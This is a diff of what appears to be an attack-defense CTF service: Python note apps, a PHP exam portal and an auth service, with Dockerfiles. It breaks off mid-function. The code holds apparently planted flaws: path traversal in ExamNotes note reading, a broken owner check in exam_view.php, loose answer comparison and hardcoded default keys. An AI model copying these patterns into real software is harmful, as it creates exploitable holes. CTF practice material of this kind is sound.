@@ +gmpy2==2.1.2 +pycryptodome==3.14.1 diff --git a/services/service2/service/encryptednotes/app/server.py b/services/service2/service/encryptednotes/app/server.py new file mode 100644 index 0000000..7db7885 --- /dev/null +++ b/services/service2/service/encryptednotes/app/server.py @@ -0,0 +1,176 @@ +from gates import build_circuit_echo, build_circuit_AES128, garble +from ot import Sender +import json +import zlib +import base64 +from hashlib import sha256 +import os +import string +from Crypto.Cipher import AES +from auth import handle_token + +alphabet = string.digits+string.ascii_letters+string.punctuation + + +def decode_token(token): + #return token + return handle_token(token) + + +def do_mkdir(fn): + if not os.path.isdir(fn): + os.mkdir(fn) + + +def write_file(user, name, get_val): + fn = sha256(user.encode()).hexdigest() + base_dir = f"data/{fn}" + do_mkdir(base_dir) + path = os.path.join(base_dir, name) + if os.path.exists(path): + print(f"You already set a {name}!") + exit(0) + val = get_val() + try: + open(path, "x").write(val) + except: + print("Something went wrong!") + exit(1) + + +def read_file(user, name): + fn = sha256(user.encode()).hexdigest() + base_dir = f"data/{fn}" + if not os.path.isdir(base_dir): + print("The user didn't save anything!") + exit(1) + path = os.path.join(base_dir, name) + if not os.path.isfile(path): + print(f"The {name} file doesn't exist!") + exit(1) + try: + val = open(path).read().strip() + return val + except: + print("Something went wrong!") + exit(1) + + +def set_keyword(user): + def get_val(): + keyword = input("Tell me a secret: ") + if len(keyword) != 16 or not all(s in alphabet for s in keyword): + print("This is a strange keyword...") + exit(0) + return keyword + + write_file(user, "keyword", get_val) + + +def get_keyword(user): + keyword = read_file(user, "keyword") + assert len(keyword) == 16 + return keyword + + +def set_public(user): + def get_val(): + keyword = get_keyword(user) + plaintext = input("Tell me a piece of text: ") + if len(plaintext) != 32 or not all(s in alphabet for s in keyword): + print("This is a strange text...") + exit(0) + cipher = AES.new(keyword.encode(), AES.MODE_ECB) + ct = cipher.encrypt(plaintext.encode()) + return ct.hex() + + write_file(user, "data", get_val) + + +def get_public(): + user = input("Choose a user: ") + ct = read_file(user, "data") + assert len(ct) == 64 + print(ct) + + +def bytes2bits(b): + bits = ''.join(f'{x:08b}' for x in b) + return list(map(int, bits)) + + +circuits = { + 1: build_circuit_echo, + 2: build_circuit_AES128 +} + + +def private_encrypt(): + user = input("Choose a user: ") + keyword = get_keyword(user) + + print("Choose a circuit") + print("1. Echo") + print("2. Encrypt") + c = int(input("> ")) + circuit = circuits[c]() + + true_input = bytes2bits(keyword.encode()) + if c == 2: + true_input = true_input[::-1] + + (enc_A, enc_B), garbled_circuit, wires_out = garble(circuit, true_input) + enc_B_num = [[int(x[0], 16), int(x[1], 16)] for x in enc_B] + sender = Sender(enc_B_num) + (N, e), x = sender.round1() + + data = { + "circuit": { + "enc_A": enc_A, + "gates": garbled_circuit, + "wires_out": wires_out + }, + "ot": { + "N": N, + "e": e, + "x": x + } + } + compressed = zlib.compress(json.dumps(data).encode()) + to_send = base64.b64encode(compressed) + print(to_send.decode()) + + recv = json.loads(input()) + v = recv["v"] + + c = sender.round3(v) + print(json.dumps({"c": c})) + + +def main(): + print("Welcome to EncryptedNotes!") + token = input("Input your token: ") + user = decode_token(token) + + while True: + print("What do you want to do?") + print("1. Set a keyword") + print("2. Public encrypt") + print("3. Private encrypt") + print("4. Read public") + print("5. Quit") + choice = int(input("> ")) + if choice == 1: + set_keyword(user) + if choice == 2: + set_public(user) + if choice == 3: + private_encrypt() + if choice == 4: + get_public() + if choice == 5: + exit(0) + + +if __name__ == "__main__": + main() diff --git a/services/service2/service/encryptednotes/client.py b/services/service2/service/encryptednotes/client.py new file mode 100644 index 0000000..ed87e5d --- /dev/null +++ b/services/service2/service/encryptednotes/client.py @@ -0,0 +1,123 @@ +from pwn import remote, process +import zlib +import base64 +import json +from app.gates import evaluate, VAL_LENGTH +from app.ot import Receiver +from Crypto.Cipher import AES +import sys + +PORT = 1236 + +if len(sys.argv) != 2: + print('Usage: python3 client.py ') + exit(1) + + +def bytes2bits(b): + bits = ''.join(f'{x:08b}' for x in b) + return list(map(int, bits)) + + +def bits2bytes(arr): + n = len(arr) + assert n % 8 == 0 + nbytes = n // 8 + s = "".join(map(str, arr)) + return int.to_bytes(int(s, 2), nbytes, "big") + + +class Client: + def __init__(self, host, token): + self.r = remote(host, PORT) + self.r.recvlines(1) + self.r.sendlineafter(b"token: ", token) + + def set_keyword(self, keyword): + self.r.recvlines(6) + self.r.sendlineafter(b"> ", b"1") + self.r.sendlineafter(b"secret: ", keyword) + + def set_public(self, data): + self.r.recvlines(6) + self.r.sendlineafter(b"> ", b"2") + self.r.sendlineafter(b"text: ", data) + + def get_public(self, user): + self.r.recvlines(6) + self.r.sendlineafter(b"> ", b"4") + self.r.sendlineafter(b"user: ", user) + return self.r.recvline(False).decode() + + def run_function(self, choice, user, my_in): + self.r.recvlines(6) + self.r.sendlineafter(b"> ", b"3") + self.r.sendlineafter(b"user: ", user) + self.r.recvlines(3) + self.r.sendlineafter(b"> ", str(choice).encode()) + + SIZE = 0 + data = self.r.recvline(False) + SIZE += len(data) + tmp = zlib.decompress(base64.b64decode(data)) + obj = json.loads(tmp.decode()) + print("Received object") + circ = obj["circuit"] + + N, e, x = obj["ot"]["N"], obj["ot"]["e"], obj["ot"]["x"] + in_B = bytes2bits(my_in) + assert len(in_B) == 128 + + if choice == 2: + in_B = in_B[::-1] + receiver = Receiver(in_B) + v = receiver.round2((N, e), x) + vdict = json.dumps({"v": v}) + SIZE += len(vdict) + self.r.sendline(vdict) + data = self.r.recvline(False) + SIZE += len(data) + obj = json.loads(data.decode()) + c = obj["c"] + m = receiver.decode(c) + + enc_B = [f'{x:010x}' for x in m] + print("Done OT") + + res = evaluate(circ["gates"], (circ["enc_A"], enc_B), circ["wires_out"]) + if choice == 2: + res = res[::-1] + print("Total bytes transferred", SIZE) + return bits2bytes(res) + + +token = "..." +user = b"drago" +key = b"A"*16 +data = b"Z"*32 + +choice = 0 + +if choice == 0: + # Put and retrieve data + c = Client(sys.argv[1], token) + c.set_keyword(key) + c.set_public(data) + val = c.get_public(user) + + cipher = AES.new(key.encode(), AES.MODE_ECB) + print(cipher.decrypt(bytes.fromhex(val))) + +if choice == 1: + # Run echo on self + c = Client(sys.argv[1], token) + pt = b"rn4l2p54"*2 + out = c.run_function(1, user, pt) + print(out) + +if choice == 2: + # Run encrypt on self + c = Client(sys.argv[1], token) + pt = b"rn4l2p54"*2 + out = c.run_function(2, user, pt) + print(out) diff --git a/services/service2/service/examnotes/Dockerfile b/services/service2/service/examnotes/Dockerfile new file mode 100644 index 0000000..fb58c11 --- /dev/null +++ b/services/service2/service/examnotes/Dockerfile @@ -0,0 +1,20 @@ +FROM ubuntu:20.04 + +RUN apt update \ + && apt install -y python3 python3-dev socat python3-pip gcc g++ make libffi-dev + +WORKDIR /service/server +ADD app/requirements.txt . +RUN pip3 install -r requirements.txt + +RUN useradd --no-create-home --shell /bin/false --uid 1000 --user-group app1 + +ADD app . +RUN mkdir data +RUN chmod +x server.py +RUN chmod -R 777 data + +USER app1 +ENV ExamNotesKey="ExamNotesAppDefaultKey0000000000" + +ENTRYPOINT socat -d TCP-LISTEN:8000,reuseaddr,fork EXEC:'timeout -k 5 30 python3 -u server.py' diff --git a/services/service2/service/examnotes/app/auth.py b/services/service2/service/examnotes/app/auth.py new file mode 100644 index 0000000..e8c62ff --- /dev/null +++ b/services/service2/service/examnotes/app/auth.py @@ -0,0 +1,33 @@ +import json +from Crypto.Cipher import AES +import sys +import time +import string +import os + +APP_KEY = os.environ["ExamNotesKey"].encode() + +ALPH = string.ascii_letters + string.digits + +def validate_string(s): + return all([c in ALPH for c in s]) and len(s) > 7 and len(s) < 65 + +def handle_token(token): + try: + app_token, service_token = [bytes.fromhex(x) for x in token.split(".")] + cipher = AES.new(APP_KEY, AES.MODE_CTR, nonce = service_token[:8], initial_value = service_token[8:16]) + service_token = json.loads(cipher.decrypt(service_token[16:])) + user1 = bytes.fromhex(service_token["user"]) + key = bytes.fromhex(service_token["key"]) + cipher = AES.new(key, AES.MODE_CTR, nonce = app_token[:8], initial_value = app_token[8:16]) + app_token = json.loads(cipher.decrypt(app_token[16:])) + user2 = bytes.fromhex(app_token["user"]) + cur_time = int(time.time()) + assert service_token["type"] == "SERVICE_TOKEN" + assert app_token["type"] == "APP_TOKEN" + assert abs(cur_time-int(app_token["ts"]))<120 and abs(cur_time-int(service_token["ts"]))<120 + assert user1 == user2 + assert validate_string(user1.decode()) + return user1 + except: + return None diff --git a/services/service2/service/examnotes/app/requirements.txt b/services/service2/service/examnotes/app/requirements.txt new file mode 100644 index 0000000..3a09506 --- /dev/null +++ b/services/service2/service/examnotes/app/requirements.txt @@ -0,0 +1 @@ +pycryptodome==3.14.1 \ No newline at end of file diff --git a/services/service2/service/examnotes/app/server.py b/services/service2/service/examnotes/app/server.py new file mode 100644 index 0000000..d0716da --- /dev/null +++ b/services/service2/service/examnotes/app/server.py @@ -0,0 +1,96 @@ +import auth +from hashlib import sha256 +import os +import json + +base_path = "data" + +def write_note(foldername): + try: + if len(os.listdir(os.path.join(base_path, foldername))) >= 10: + print("You reached the maximum number of notes for this account") + return + except FileNotFoundError: + os.makedirs(os.path.join(base_path, foldername)) + + title = input("Title of the note: ") + + if len(title) > 20: + print("Title is too long") + return + + content = input("Content of the note: ") + + if len(content) > 100: + print("Content is too long") + return + + note = json.dumps({"title":title, "content":content}) + + try: + note_number = str(len(os.listdir(os.path.join(base_path, foldername)))) + with open(os.path.join(base_path, foldername, note_number), "x") as f: + f.write(note) + print("Note added!") + except FileExistsError: + print("Apparently you already wrote this note...") + +def list_notes(foldername): + try: + assert len(os.listdir(os.path.join(base_path, foldername))) > 0 + for f in os.listdir(os.path.join(base_path, foldername)): + title = json.loads(open(os.path.join(base_path, foldername, f), "r").read().strip())["title"] + print(f"Id: {f}, Title: {title}") + except FileNotFoundError: + print("It seems that you don't have any note") + +def read_note_by_id(foldername): + id = input("Enter your note id: ") + try: + with open(os.path.join(base_path, foldername, id), "r") as f: + note = json.loads(f.read().strip()) + print(f"Title: {note['title']}") + print(f"Content: {note['content']}") + except FileNotFoundError: + print("You must write a note before reading it!") + except Exception as e: + print(e) + +print("Welcome to ExamNotes!") +token = input("Enter your login token: ") + +username = auth.handle_token(token) + +print() + +if username is None: + print("Authentication failed") + exit(1) + +print(f"Successfully authenticated as {username.decode()}") +print() + +print("Welcome to ExamNotes 1.0!") +print("Here you can store the notes for your cyber-university courses to read them later.") + +while True: + print("What do you want to do?") + print("1. Add a new note") + print("2. List my notes") + print("3. Read a note by id") + print("0. Exit") + + foldername = sha256(username).hexdigest() + + try: + ch = int(input()) + assert ch in [1,2,3] + + if ch == 1: + write_note(foldername) + elif ch == 2: + list_notes(foldername) + else: + read_note_by_id(foldername) + except: + exit(1) diff --git a/services/service2/service/examportal/.gitignore b/services/service2/service/examportal/.gitignore new file mode 100644 index 0000000..b3deef7 --- /dev/null +++ b/services/service2/service/examportal/.gitignore @@ -0,0 +1 @@ +db/data/* \ No newline at end of file diff --git a/services/service2/service/examportal/Dockerfile b/services/service2/service/examportal/Dockerfile new file mode 100644 index 0000000..36a6567 --- /dev/null +++ b/services/service2/service/examportal/Dockerfile @@ -0,0 +1,6 @@ +FROM php:7.2-apache +RUN docker-php-ext-install mysqli + +COPY app /var/www/html + +ENV ExamPortalKey="ExamPortalAppDefaultKey000000000" diff --git a/services/service2/service/examportal/app/classes/database.php b/services/service2/service/examportal/app/classes/database.php new file mode 100644 index 0000000..6215871 --- /dev/null +++ b/services/service2/service/examportal/app/classes/database.php @@ -0,0 +1,68 @@ +connect_error) { + die("Connection failed: " . $conn->connect_error); + } + return $conn; +} + +function execute_query_noparams($query) { + $conn = create_connection(); + $result = $conn->query($query); + $res = $result->fetch_all(MYSQLI_ASSOC); + $conn->close(); + return $res; +} + +function execute_query($query, $types, $params) { + $conn = create_connection(); + $stmt = $conn->prepare($query); + $stmt->bind_param($types, ...$params); + $stmt->execute(); + if ($stmt->errno !== 0) { + echo var_dump($stmt->error); + return false; + } + $result = $stmt->get_result(); + $res = $result->fetch_all(MYSQLI_ASSOC); + $conn->close(); + return $res; +} + +function execute_insert($query, $types, $params) { + $conn = create_connection(); + $stmt = $conn->prepare($query); + $stmt->bind_param($types, ...$params); + $stmt->execute(); + if ($stmt->errno !== 0) { + echo var_dump($stmt->error); + return -1; + } + $res = $stmt->insert_id; + $conn->close(); + return $res; +} + +function get_user($username) { + $res = execute_query("SELECT * FROM users WHERE username = ?", "s", [$username]); + if (count($res)===0) return false; + return $res[0]; +} + +function add_user($username, $tfa) { + return execute_insert("INSERT INTO users SET username = ?, 2fa = ?", "ss", [$username, $tfa]); +} + +function get_all_exams() { + $exams = execute_query_noparams("SELECT id, name FROM exams", "", []); + return $exams; +} + +?> diff --git a/services/service2/service/examportal/app/classes/exam.php b/services/service2/service/examportal/app/classes/exam.php new file mode 100644 index 0000000..535dd19 --- /dev/null +++ b/services/service2/service/examportal/app/classes/exam.php @@ -0,0 +1,117 @@ +setId($id); + return $exam; + } + + public static function fromVals($owner, $name, $questions, $answers, $correct, $prize) { + $exam = new Exam(); + $exam->setOwner($owner); + $exam->setName($name); + $exam->setQuestions($questions); + $exam->setAnswers($answers); + $exam->setCorrect($correct); + $exam->setPrize($prize); + return $exam; + } + + public function DB_get() { + $res = execute_query("SELECT * FROM exams WHERE id = ?", "i", [$this->id]); + if ($res===false) return false; + if (count($res)!==1) return false; + $exam_db = $res[0]; + $this->owner = $exam_db["owner"]; + $this->name = $exam_db["name"]; + $this->questions = $exam_db["questions"]; + $this->answers = $exam_db["answers"]; + $this->correct = $exam_db["correct"]; + $this->prize = $exam_db["prize"]; + return true; + } + + public function DB_set() { + $vals = [$this->owner, $this->name, $this->questions, $this->answers, $this->correct, $this->prize]; + $res = execute_insert("INSERT INTO exams SET owner = ?, name = ?, questions = ?, answers = ?, correct = ?, prize = ?", "isssss", $vals); + if ($res === -1) return false; + $this->id = $res; + return $res; + } + + public function getId() { + return $this->id; + } + + public function setId($id) { + $this->id = $id; + } + + public function getOwner() { + return $this->owner; + } + + public function setOwner($owner) { + $this->owner = $owner; + } + + public function getName() { + return $this->name; + } + + public function setName($name) { + $this->name = $name; + } + + public function getPrize() { + return $this->prize; + } + + public function setPrize($prize) { + $this->prize = $prize; + } + + public function getQuestions() { + return explode("|", $this->questions); + } + + public function setQuestions($questions) { + $this->questions = implode("|", $questions); + } + + public function getCorrect() { + return explode("|", $this->correct); + } + + public function setCorrect($correct) { + $this->correct = implode("|", $correct); + } + + public function getAnswers() { + $ans = explode("|", $this->answers); + $res = []; + foreach($ans as $a) array_push($res, explode(";", $a)); + return $res; + } + + public function setAnswers($answers) { + $ans = []; + foreach($answers as $a) array_push($ans, implode(";", $a)); + $this->answers = implode("|", $ans); + } +} diff --git a/services/service2/service/examportal/app/classes/user.php b/services/service2/service/examportal/app/classes/user.php new file mode 100644 index 0000000..cbdb11a --- /dev/null +++ b/services/service2/service/examportal/app/classes/user.php @@ -0,0 +1,44 @@ +username = $username; + } + + public function do_login($tfa) { + $db_user = get_user($this->username); + if ($db_user === false) { + // add the user, trusting the login token + if ($tfa === "") $tfa = NULL; + $res = add_user($this->username, $tfa); + if ($res === -1) return false; + $this->id = $res; + $this->tfa = $tfa; + return true; + } + if (($db_user["2fa"] !== NULL) && ($db_user["2fa"] !== $tfa)) return false; + $this->id = $db_user["id"]; + $this->tfa = $db_user["2fa"]; + return true; + } + + public function getId() { + return $this->id; + } + + public function getUsername() { + return $this->username; + } + + public function has2fa() { + return ($this->tfa !== NULL); + } +} + +?> diff --git a/services/service2/service/examportal/app/exam.php b/services/service2/service/examportal/app/exam.php new file mode 100644 index 0000000..fef9866 --- /dev/null +++ b/services/service2/service/examportal/app/exam.php @@ -0,0 +1,143 @@ +DB_get() === false) die("Can't find exam!"); +$name = $exam->getName(); +$questions = $exam->getQuestions(); +$answers = $exam->getAnswers(); +if (count($questions) !== count($answers)) die("Malformed exam"); +$letters = ["A", "B", "C", "D"]; + +?> + + + + + + + + + + + + + ExamPortal - Exam + + + + + + + +
        +
        +
        +

        CyberUni

        +

        ExamPortal

        +
        +
        +
        +
        + + +

        Exam:

        + +
        + + + + $q) { + echo "
        Question: $q
        "; + echo "\n"; + } ?> + +
        + +
        +
        +
        + + +
        +
        +
        + +
        +
        +
        +
        + @ 2022 CyberUni platform | All rights reserved +
        +
        +
        +
        + + + + \ No newline at end of file diff --git a/services/service2/service/examportal/app/exam_create.php b/services/service2/service/examportal/app/exam_create.php new file mode 100644 index 0000000..f9d3d06 --- /dev/null +++ b/services/service2/service/examportal/app/exam_create.php @@ -0,0 +1,153 @@ +has2fa()) die("Two factor authentication is needed for creating exams"); + + $owner = $user->getId(); + $name = htmlspecialchars($_POST["name"]); + $prize = htmlspecialchars($_POST["prize"]); + + $questions = []; + $answers = []; + $correct = []; + + $i = 0; + while (array_key_exists("question_${i}", $_POST)) { + $q = $_POST["question_${i}"]; + $a = [$_POST["answer_${i}_0"], $_POST["answer_${i}_1"], $_POST["answer_${i}_2"], $_POST["answer_${i}_3"]]; + $c = $_POST["correct_${i}"]; + + array_push($questions, $q); + array_push($answers, $a); + array_push($correct, $c); + $i++; + } + + $exam = Exam::fromVals($owner, $name, $questions, $answers, $correct, $prize); + $res = $exam->DB_set(); + if ($res !== false) header("Location: /exam_view.php?id=${res}"); +} + +?> + + + + + + + + + + + + + + ExamPortal - Create exam + + + + + + + +
        +
        +
        +

        CyberUni

        +

        ExamPortal

        +
        +
        +
        +
        + +

        Create a new exam

        + +
        + +
        + + +
        + + + + + + "; + echo "
        "; + echo "
        "; + echo "
        "; + echo "
        "; + echo "
        "; + echo "
        "; + } + ?> + + + +
        + +
        + + +
        + + +
        + +
        +
        +
        +
        + +
        +
        +
        +
        + @ 2022 CyberUni platform | All rights reserved +
        +
        +
        +
        + + + + \ No newline at end of file diff --git a/services/service2/service/examportal/app/exam_list.php b/services/service2/service/examportal/app/exam_list.php new file mode 100644 index 0000000..2079271 --- /dev/null +++ b/services/service2/service/examportal/app/exam_list.php @@ -0,0 +1,95 @@ + + + + + + + + + + + + + + ExamPortal - Exam list + + + + + + + +
        +
        +
        +

        CyberUni

        +

        ExamPortal

        +
        +
        +
        +
        + +

        Exam lists

        +
        + $exam) { + $id = $exam["id"]; + $name = $exam["name"]; + echo " $name\n"; + } + ?> +
        + +
        +
        +
        + + +
        +
        +
        +
        + @ 2022 CyberUni platform | All rights reserved +
        +
        +
        +
        + + + + diff --git a/services/service2/service/examportal/app/exam_submit.php b/services/service2/service/examportal/app/exam_submit.php new file mode 100644 index 0000000..3304f6d --- /dev/null +++ b/services/service2/service/examportal/app/exam_submit.php @@ -0,0 +1,26 @@ + "Login is required"])); + +if (isset($_POST)) { + $obj = json_decode(file_get_contents("php://input"), true); + $id = $obj["id"]; + $exam = Exam::fromId($id); + if ($exam->DB_get() == false) die("No such exam"); + $correct = $exam->getCorrect(); + $num = count($correct); + $score = 0; + foreach($correct as $i=>$corr_ans) { + $given_ans = $obj["answers"][$i]; + if ($corr_ans == $given_ans) $score++; + } + if ($score == $num) $message = $exam->getPrize(); + else $message = "Better luck next time!"; + + echo json_encode(["msg" => $message]); +} +?> diff --git a/services/service2/service/examportal/app/exam_view.php b/services/service2/service/examportal/app/exam_view.php new file mode 100644 index 0000000..b621e71 --- /dev/null +++ b/services/service2/service/examportal/app/exam_view.php @@ -0,0 +1,120 @@ +DB_get() == false) die("No such exam"); +$can_view = $user->has2fa() and $exam->getOwner() === $user->getId(); +if (!$can_view) die("Unauthorized"); + +$name = $exam->getName(); +$questions = $exam->getQuestions(); +$answers = $exam->getAnswers(); +$correct = $exam->getCorrect(); +$letters = ["A", "B", "C", "D"]; +?> + + + + + + + + + + + + + ExamPortal - Exam view + + + + + + + +
        +
        +
        +

        CyberUni

        +

        ExamPortal

        +
        +
        +
        +
        + +

        Exam - admin panel

        + +
        + + + $q) { + + + $curans = $answers[$i]; + echo "
        Question:
        "; + echo "
        $q
        "; + echo "
          "; + + foreach ($curans as $j => $a) { + if ($letters[$j] == $correct[$i]) echo "
        • $a
        • "; + else echo "
        • $a
        • "; + } + echo "
        "; + echo "
        "; + } ?> + +
        + +
        +
        +
        + +
        +
        +
        +
        + @ 2022 CyberUni platform | All rights reserved +
        +
        +
        +
        + + + + \ No newline at end of file diff --git a/services/service2/service/examportal/app/index.php b/services/service2/service/examportal/app/index.php new file mode 100644 index 0000000..af1f636 --- /dev/null +++ b/services/service2/service/examportal/app/index.php @@ -0,0 +1,86 @@ + + + + + + + + + + + + + + ExamPortal - Homepage + + + + + + + +
        +
        +
        +

        CyberUni

        +

        ExamPortal

        +
        +
        +
        +
        +

        Available services:

        +
        + List all exams + has2fa()) { ?> + Create a new exam + +
        +
        +
        +
        + +
        +
        +
        +
        + @ 2022 CyberUni platform | All rights reserved +
        +
        +
        +
        + + + + \ No newline at end of file diff --git a/services/service2/service/examportal/app/login.php b/services/service2/service/examportal/app/login.php new file mode 100644 index 0000000..701dd03 --- /dev/null +++ b/services/service2/service/examportal/app/login.php @@ -0,0 +1,110 @@ +do_login($_POST["2fa"])) { + $_SESSION["user"] = $user; + header("Location: /index.php"); + } else { + echo "Authentication failed!"; + } +} + +?> + + + + + + + + + + + + + ExamPortal - Login + + + + + + + +
        +
        +
        +

        CyberUni

        +

        ExamPortal

        +
        +
        +
        +
        +

        Login

        + +
        +
        + + +
        + + + +
        + +
        +
        + +
        +
        +
        + +
        +
        +
        +
        + @ 2022 CyberUni platform | All rights reserved +
        +
        +
        +
        + + + + \ No newline at end of file diff --git a/services/service2/service/examportal/app/logout.php b/services/service2/service/examportal/app/logout.php new file mode 100644 index 0000000..3abdd6e --- /dev/null +++ b/services/service2/service/examportal/app/logout.php @@ -0,0 +1,5 @@ + diff --git a/services/service2/service/examportal/app/utils.php b/services/service2/service/examportal/app/utils.php new file mode 100644 index 0000000..303a0d9 --- /dev/null +++ b/services/service2/service/examportal/app/utils.php @@ -0,0 +1,48 @@ +7) and (strlen($s)<65); +} + +function decode_token($token) { + $app_key = getenv("ExamPortalKey"); + try { + $pieces = explode(".", $token); + $app_token = $pieces[0]; + $service_token = $pieces[1]; + + $st_nonce = substr($service_token, 0, 32); + $st_enc = substr($service_token, 32); + + $st_val = decrypt($st_enc, $app_key, $st_nonce); + $st = json_decode($st_val, true); + if ($st === false) return false; + + $user1 = hex2bin($st["user"]); + $key = hex2bin($st["key"]); + $at_nonce = substr($app_token, 0, 32); + $at_enc = substr($app_token, 32); + $at_val = decrypt($at_enc, $key, $at_nonce); + $at = json_decode($at_val, true); + if ($at === false) return false; + + $user2 = hex2bin($at["user"]); + if ($st["type"] !== "SERVICE_TOKEN") return false; + if ($at["type"] !== "APP_TOKEN") return false; + if ($user1 !== $user2) return false; + if (validate_username($user1)) return $user1; + else return false; + } catch (Exception $e) { + echo 'Caught exception: ', $e->getMessage(), "\n"; + return false; + } +} + + +?> diff --git a/services/service2/service/examportal/db/init/init.sql b/services/service2/service/examportal/db/init/init.sql new file mode 100644 index 0000000..8c515cc --- /dev/null +++ b/services/service2/service/examportal/db/init/init.sql @@ -0,0 +1,18 @@ +USE examportal; + +CREATE TABLE users ( + id INT PRIMARY KEY AUTO_INCREMENT, + username VARCHAR(30) NOT NULL UNIQUE, + 2fa VARCHAR(10) +); + +CREATE TABLE exams( + id INT PRIMARY KEY AUTO_INCREMENT, + owner INT NOT NULL, + name VARCHAR(100), + questions TEXT, + answers TEXT, + correct VARCHAR(500), + prize VARCHAR(32), + FOREIGN KEY (owner) REFERENCES users(id) +); diff --git a/services/service2/src/README.md b/services/service2/src/README.md new file mode 100644 index 0000000..1d12306 --- /dev/null +++ b/services/service2/src/README.md @@ -0,0 +1,25 @@ +# CyberUniversity infrastructure + +The modern CyberUni has adopted a Single Sign-On authentication model for all of its applications! + +In order to interact with each of the three applications you will need a token, which can be obtained from the central Authentication Service. + +## Authentication Service + +The central AuthService lets you register users and get login tokens for all the other applications. There is an example client for reference using the pwntools Python's library, but you are free to create your own. + +The core library for authentication is authlib, provided for all python versions from 3.8 to 3.11. + +## ExamNotes + +This application, after authentication with the token, let you save, read and list plaintext notes, that will be accessible only to you. + +## EncryptedNotes + +This is an application that lets you run functions on encrypted data. After logging in, you can set some private keyword and data, or run functions with other users' keywords as input. + +You can find an example client that sets up a user, or evaluates the two functions. + +## ExamPortal + +This is the website where online exams are graded. After logging in with the token, you can take part in an exam and answer its questions; the exam will be passed only if you answer correctly to all the questions. diff --git a/services/service2/src/auth_service/Dockerfile b/services/service2/src/auth_service/Dockerfile new file mode 100644 index 0000000..dc9e81e --- /dev/null +++ b/services/service2/src/auth_service/Dockerfile @@ -0,0 +1,22 @@ +FROM ubuntu:20.04 + +RUN apt update \ + && apt install -y python3 python3-dev socat python3-pip gcc g++ make libffi-dev + +RUN useradd --no-create-home --shell /bin/false --uid 1000 --user-group srv + +ADD authlib.cpython-38-x86_64-linux-gnu.so /service/server/ +ADD server.py user_handlers.py /service/server/ + +WORKDIR /service/server +RUN mkdir users +RUN chmod +x server.py +RUN chmod -R 777 users + +USER srv +ENV MasterKey="AuthenticationSystemMasterKey000" +ENV ExamNotesKey="ExamNotesAppDefaultKey0000000000" +ENV EncryptedNotesKey="EncryptedNotesAppDefaultKey00000" +ENV ExamPortalKey="ExamPortalAppDefaultKey000000000" + +ENTRYPOINT socat -d TCP-LISTEN:8000,reuseaddr,fork EXEC:'timeout -k 5 30 python3 -u server.py' diff --git a/services/service2/src/auth_service/auth_utils.h b/services/service2/src/auth_service/auth_utils.h new file mode 100644 index 0000000..ede9144 --- /dev/null +++ b/services/service2/src/auth_service/auth_utils.h @@ -0,0 +1,191 @@ +#include "cryptopp/integer.h" +#include "cryptopp/eccrypto.h" +#include "cryptopp/osrng.h" +#include "cryptopp/oids.h" +#include "cryptopp/hex.h" +#include "cryptopp/chacha.h" +#include "cryptopp/files.h" +#include "cryptopp/cryptlib.h" +#include "cryptopp/rijndael.h" +#include "cryptopp/modes.h" +#include "cryptopp/hmac.h" +using namespace CryptoPP; + +#include "rapidjson/document.h" +#include "rapidjson/writer.h" +#include "rapidjson/stringbuffer.h" +using namespace rapidjson; + +#include +#include +#include +using std::string; +using std::vector; + +const int TOKEN_EXP = 120; + +struct TOKEN{ + string ts; + string type; + string user; + string key; + string service; +}; + +string get_key_from_int(Integer x){ + SHA256 hash; + string digest; + StringSource(IntToString(x), true, new HashFilter(hash, new StringSink(digest))); + + return digest; +} + +string string_to_hex(string x){ + string to_ret; + HexEncoder encoder(new StringSink(to_ret)); + StringSource(x, true, new Redirector(encoder)); + + return to_ret; +} + +string hex_to_string(string x){ + string to_ret; + StringSource(x, true, new HexDecoder(new StringSink(to_ret))); + + return to_ret; +} + +string serialize_token(TOKEN t, string _key = ""){ + const char* base_json = "{\"ts\":\"\",\"type\":\"\",\"user\":\"\",\"key\":\"\",\"service\":\"\"}"; + Document d; + d.Parse(base_json); + d["ts"].SetString(t.ts.c_str(), d.GetAllocator()); + d["type"].SetString(t.type.c_str(), d.GetAllocator()); + d["user"].SetString(t.user.c_str(), d.GetAllocator()); + d["key"].SetString(t.key.c_str(), d.GetAllocator()); + d["service"].SetString(t.service.c_str(), d.GetAllocator()); + + if(_key != ""){ + string plain, tag; + plain = t.ts + "|" + t.type + "|" + t.user + "|" + t.key + "|" + t.service; + SecByteBlock key(reinterpret_cast(_key.c_str()), 32); + HMAC hmac(key, key.size()); + StringSource(plain, true, new HashFilter(hmac, new StringSink(tag))); + d.AddMember("tag", "", d.GetAllocator()); + d["tag"].SetString(string_to_hex(tag).c_str(), d.GetAllocator()); + } + + StringBuffer buffer; + Writer writer(buffer); + d.Accept(writer); + + return buffer.GetString(); +} + +TOKEN deserialize_token(string json, bool check_tag = false, string _key = ""){ + Document d; + d.Parse(json.c_str()); + + TOKEN to_ret; + to_ret.ts = d["ts"].GetString(); + to_ret.type = d["type"].GetString(); + to_ret.user = d["user"].GetString(); + to_ret.key = d["key"].GetString(); + to_ret.service = d["service"].GetString(); + + if(check_tag && _key != ""){ + string tag; + string token_tag = d["tag"].GetString(); + string plain = to_ret.ts + "|" + to_ret.type + "|" + to_ret.user + "|" + to_ret.key + "|" + to_ret.service; + SecByteBlock key(reinterpret_cast(_key.c_str()), 32); + HMAC hmac(key, key.size()); + StringSource(plain, true, new HashFilter(hmac, new StringSink(tag))); + if(token_tag != string_to_hex(tag)){ + TOKEN dummy_tok; + return dummy_tok; + } + } + + return to_ret; +} + +string aes_256_encrypt(string key, string msg){ + string ctx, hexctx; + AutoSeededRandomPool prng; + + if(key.size() == 16) key = key + key; + + SecByteBlock aes_key(reinterpret_cast(key.c_str()), AES::MAX_KEYLENGTH); + SecByteBlock aes_iv(AES::BLOCKSIZE); + + CTR_Mode::Encryption e; + HexEncoder encoder(new StringSink(hexctx)); + prng.GenerateBlock(aes_iv, aes_iv.size()); + e.SetKeyWithIV(aes_key, aes_key.size(), aes_iv); + StringSource(msg, true, new StreamTransformationFilter(e, new StringSink(ctx))); + string aes_iv_str(reinterpret_cast(&aes_iv[0]), aes_iv.size()); + StringSource(aes_iv_str + ctx, true, new Redirector(encoder)); + + return hexctx; +} + +string aes_256_decrypt(string key, string enc){ + //try{ + string raw_enc = hex_to_string(enc); + string plain; + //assert(raw_enc.size() > 16); + + SecByteBlock aes_key(reinterpret_cast(key.c_str()), AES::MAX_KEYLENGTH); + SecByteBlock aes_iv(reinterpret_cast(raw_enc.substr(0,AES::BLOCKSIZE).c_str()), AES::BLOCKSIZE); + + CTR_Mode::Decryption d; + d.SetKeyWithIV(aes_key, aes_key.size(), aes_iv); + StringSource(raw_enc.substr(16), true, new StreamTransformationFilter(d, new StringSink(plain))); + + return plain; + 